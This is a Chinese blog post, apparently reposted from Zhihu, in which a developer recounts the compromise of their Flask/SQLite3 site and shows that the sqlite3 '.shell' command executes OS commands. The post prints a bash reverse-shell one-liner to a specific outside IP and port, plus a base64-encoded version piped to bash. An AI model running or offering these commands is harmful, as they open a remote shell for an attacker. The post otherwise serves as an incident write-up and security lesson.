sqlite3 数据库反弹shell

发布于:2025-06-23 ⋅ 阅读:(18) ⋅ 点赞:(0)

 

最近支持一个项目,自己用Python写了一个网站,仅仅开放了一个80端口,数据库用的 sqlite3,没有做数据安全校验,运行不到1天,发现被黑客拿下了,我的网站主动连接了黑客的IP地址,疑似反弹shell的操作手法,自己试了一下,sqlite3 数据库还真的能反弹shell。

ailx10

2001 次咨询

4.9

网络安全优秀回答者

互联网行业 安全攻防员

去(知乎ailx10)咨询

(1)调研发现sqlite3竟然支持 shell 命令,可以直接命令执行

(2)sqlite3命令执行,反弹shell

bash -i >& /dev/tcp/144.34.162.13/6666 0>&1

base64编码:

.shell echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMTYyLjEzLzY2NjYgMD4mMQ==" | base64 --decode | bash

(3)反弹shell成功

我写的那串冤大头代码如下,当时没加 log,想不明白怎么被黑客攻陷的:

from flask import Flask, request, jsonify
import sqlite3
import json
import os

app = Flask(__name__)

# 初始化数据库
def init_db():
    if not os.path.exists('data.db'):
        with sqlite3.connect('data.db') as conn:
            cursor = conn.cursor()
            cursor.execute('''
                CREATE TABLE IF NOT EXISTS requests (
                    id INTEGER PRIMARY KEY AUTOINCREMENT,
                    username TEXT NOT NULL,
                    os TEXT NOT NULL,
                    version TEXT NOT NULL,
                    architecture TEXT NOT NULL,
                    hostname TEXT NOT NULL,
                    processor TEXT NOT NULL,
                    cpu_cores INTEGER NOT NULL,
                    logical_cpus INTEGER NOT NULL,
                    memory TEXT NOT NULL,
                    disk TEXT NOT NULL,
                    ip_address TEXT NOT NULL,
                    mac_address TEXT NOT NULL
                )
            ''')
            conn.commit()

# 校验请求数据
def validate_data(data):
    required_fields = [
        '当前用户名', '操作系统', '系统版本', '系统架构',
        '主机名', '处理器', 'CPU核心数', '逻辑CPU数',
        '内存信息', '磁盘信息', 'IP地址', 'MAC地址'
    ]
    for field in required_fields:
        if field not in data:
            return False
    return True

@app.route('/api', methods=['POST'])
def receive_data():
    data = request.get_json()

    # 校验数据
    if not validate_data(data):
        return jsonify({"error": "请求数据异常"}), 400

    # 插入数据到数据库
    with sqlite3.connect('data.db') as conn:
        cursor = conn.cursor()
        cursor.execute('''
            INSERT INTO requests (
                username, os, version, architecture, hostname, 
                processor, cpu_cores, logical_cpus, memory, disk, 
                ip_address, mac_address
            ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
        ''', (
            data['当前用户名'],
            data['操作系统'],
            data['系统版本'],
            str(data['系统架构']),
            data['主机名'],
            data['处理器'],
            data['CPU核心数'],
            data['逻辑CPU数'],
            str(data['内存信息']),
            str(data['磁盘信息']),
            json.dumps(data['IP地址']),
            json.dumps(data['MAC地址'])
        ))
        conn.commit()

    return jsonify({"message": "数据成功接收"}), 200

if __name__ == '__main__':
    init_db()  # 初始化数据库
    app.run(host='0.0.0.0', port=80)

后续我对代码进行了优化,记录了大量的漏洞扫描IP(傀儡机),主要是Wordpress的扫描探测

网站服务器上检测没有 rootkit[1] ,所有命令输出是准确的,排查了定时任务等,黑客没有后续的恶意行为

参考

  1. ^chkrootkit chkrootkit -- locally checks for signs of a rootkit

发布于 2024-09-24 19:09・江苏 

 

 


网站公告

今日签到

点亮在社区的每一天
去签到